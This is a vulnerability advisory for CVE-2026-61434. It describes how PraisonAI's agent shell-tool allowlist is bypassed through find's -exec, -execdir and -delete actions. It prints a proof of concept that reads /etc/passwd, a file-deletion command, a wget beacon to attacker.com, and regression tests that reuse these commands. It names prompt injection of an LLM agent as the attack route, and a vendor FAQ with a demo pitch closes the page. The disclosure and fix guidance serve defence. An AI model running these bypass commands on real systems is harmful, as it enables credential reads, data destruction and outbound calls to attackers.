CVE-2026-61434

PraisonAI: Shell command allowlist bypass via find -exec built-in action

find /path -exec <command> {} +

const { shell } = require('praisonai/dist/tools/utility-tools');

async function poc() {
    // Control: direct 'wget' is rejected (not in safeCommands)
    const control = await shell('wget http://example.com');
    console.log('[CONTROL] rejected:', !control.success);  // true

    // Bypass: find -execdir reads /etc/passwd via find's built-in action
    const bypass = await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +');
    console.log('[BYPASS]:', bypass.success);  // true
    console.log(bypass.data);  // root:x:0:0:root:/root:/bin/bash ...
}
poc();

await shell('find /app/uploads -name "*.bak" -delete');
// -delete is a find built-in, clean exit 0, files deleted

await shell('find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +');
// HTTP request fires as side effect before find returns non-zero

from praisonai.cli.features.safe_shell import safe_execute

result = safe_execute("find /etc -name passwd -maxdepth 1 -execdir cat {} +")
print(result.stdout)  # root:x:0:0:root:/root:/bin/bash ...

An attacker who can influence the command parameter of shell() (via prompt injection directing an LLM agent, or direct API input to SandboxExecutor) achieves:

• Blocked file read: -execdir reads files in DEFAULT_BLOCKED_PATHS by splitting the path across arguments (verified: exit 0, data returned)
• File deletion: -delete destroys files without metacharacters (verified: clean exit 0)
• Non-allowlisted command execution: -exec runs commands not in safeCommands (side effect fires regardless of exit code)

Shell substitution ($(...)) IS blocked, so the bypass is limited to executing binaries already on disk, but this includes cat, chmod, python3, curl etc.

Same severity class as GHSA-5jv7-2mjm-h6qj / GHSA-vjv9-7m7j-h833.

Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.

CVE-2026-61434 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.6.78); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

Option A: Remove find from each safe/allowed command list (4 locations). Simplest fix.

Option B: If find must remain, parse arguments and reject -exec, -execdir, -delete, -fls, -fprint, -fprintf, -ok, -okdir flags.

Regression tests:

test('rejects find -exec', async () => {
    expect((await shell('find /tmp -maxdepth 0 -exec wget http://x.com {} +')).success).toBe(false);
});
test('rejects find -execdir', async () => {
    expect((await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +')).success).toBe(false);
});
test('rejects find -delete', async () => {
    expect((await shell('find /app -name "*.bak" -delete')).success).toBe(false);
});

1. What is CVE-2026-61434? CVE-2026-61434 is a high-severity OS command injection vulnerability in praisonai (pip), affecting versions <= 4.6.77. It is fixed in 4.6.78. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
2. How severe is CVE-2026-61434? CVE-2026-61434 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of praisonai are affected by CVE-2026-61434? praisonai (pip) versions <= 4.6.77 is affected.
4. Is there a fix for CVE-2026-61434? Yes. CVE-2026-61434 is fixed in 4.6.78. Upgrade to this version or later.
5. Is CVE-2026-61434 exploitable, and should I be worried? Whether CVE-2026-61434 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-61434 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-61434? Upgrade praisonai to 4.6.78 or later.

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